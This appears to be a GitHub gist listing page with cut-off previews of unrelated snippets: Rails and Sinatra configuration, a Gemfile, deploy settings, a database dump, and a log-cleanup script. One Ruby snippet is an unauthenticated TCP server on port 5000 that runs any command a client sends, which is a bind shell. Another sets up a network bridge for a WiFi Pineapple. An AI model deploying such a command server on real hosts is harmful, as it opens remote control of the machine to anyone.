This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class SessionsController < ApplicationController | |
include SslRequirement | |
ssl_required :create, :new, :recover_password if Rails.env == "production" | |
skip_before_filter :require_login, :only => [:new, :create] | |
layout 'session' | |
respond_to :html | |
def new | |
respond_with(@session = UserSession.new) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Edit this Gemfile to bundle your application's dependencies. | |
source :gemcutter | |
gem "rails", "3.0.0.beta" | |
gem "pg" | |
gem "haml-edge", "2.3.155", :require => 'haml' | |
gem "compass", "0.10.0.pre8", :git => "git://github.com/chriseppstein/compass.git", :branch => 'master' | |
gem "authlogic", "2.1.3", :git => "git://github.com/binarylogic/authlogic.git", :branch => 'master' | |
gem "ssl_requirement" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Example of config.ru for Application based on Sinatra + WeBrick + SSL | |
# | |
require File.dirname(__FILE__) + '/environment' | |
require File.dirname(__FILE__) + '/your_sinatra_app' | |
require 'webrick' | |
require 'webrick/https' | |
certificate = "/your/path/certs/myssl.crt" | |
private_key = "/your/path/certs/myssl.key" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Ejemplo de deployment con inploy para rails3 | |
deploy.application = "yourproject" | |
deploy.repository = '[email protected]:alecz/yourdeposit.git' | |
deploy.hosts = ['143.135.4.140'] | |
# OPTIONALS | |
before_restarting_server do | |
rake "install:gems" | |
run "bundle install" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# You must execute this script with sudo: sudo sh bridge.sh | |
# Setting the ip address for en0 (ethernet interface) to enable access for pineapple default address: 172.16.42.1 | |
ifconfig en0 172.16.42.2 netmask 255.255.255.0 broadcast 172.16.42.255 up | |
# Setting the bridge | |
ifconfig bridge0 create | |
ifconfig bridge0 up | |
ifconfig bridge0 addm en0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- | |
-- PostgreSQL database dump | |
-- | |
SET statement_timeout = 0; | |
SET client_encoding = 'UTF8'; | |
SET standard_conforming_strings = on; | |
SET check_function_bodies = false; | |
SET client_min_messages = warning; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
l=1000 | |
psql_cmd="/usr/local/bin/psql" | |
while [ 1 ]; | |
do | |
records=`$psql_cmd -U syslog_writer -d vigilante -t << EOF | |
DELETE FROM images_logs WHERE id IN (SELECT id FROM images_logs ORDER BY uploaded_at LIMIT $l); | |
EOF` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'socket' | |
server = TCPServer.new "5000" | |
job = fork do | |
loop do | |
Thread.start(server.accept) do |client| | |
client.print "-> " | |
cmd = client.gets | |
IO.popen(cmd.to_s.chomp!,"r") {|io| client.print io.read } | |
client.close | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo "This is just a test, but it could be evil;" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
echo "Hello SL ;)" > /tmp/evil; | |
cat /tmp/evil; | |
OlderNewer